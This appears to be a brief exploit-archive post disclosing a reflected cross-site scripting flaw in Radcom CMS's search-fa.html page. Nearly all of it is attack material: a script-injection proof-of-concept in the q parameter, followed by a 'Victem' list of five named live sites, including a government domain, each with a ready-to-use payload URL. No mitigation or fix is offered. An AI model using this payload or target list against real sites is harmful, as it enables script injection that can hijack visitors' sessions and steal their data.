Radcom CMS suffers from a cross site scripting vulnerability.
3bfdc21eb7f16475585a8d3320ac089c213d377131903de6007d4d99b041e1ee
#########################################################
---------------------------------------------------------
Portal Name: Radcom Cms
Vendor : http://Radcom.ir
Vulnerable File : search-fa.html
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : XSS (Cross site scripting)
---------------------------------------------------------
#########################################################
http://www.site.com/search-fa.html?q=<script>alert('Pouya_Server')</script>
---------------------------------
Victem :
http://assc.ir/search-fa.html?q=<script>alert('Pouya_Server')</script>
http://npc-rt.ir/search-fa.html?q=<script>alert('Pouya_Server')</script>
http://ict.gov.ir/search-fa.html?q=<script>alert('Pouya_Server')</script>
http://carnp.com/search-fa.html?q=<script>alert('Pouya_Server')</script>
http://ketabnews.com/search-fa.html?q=<script>alert('Pouya_Server')</script>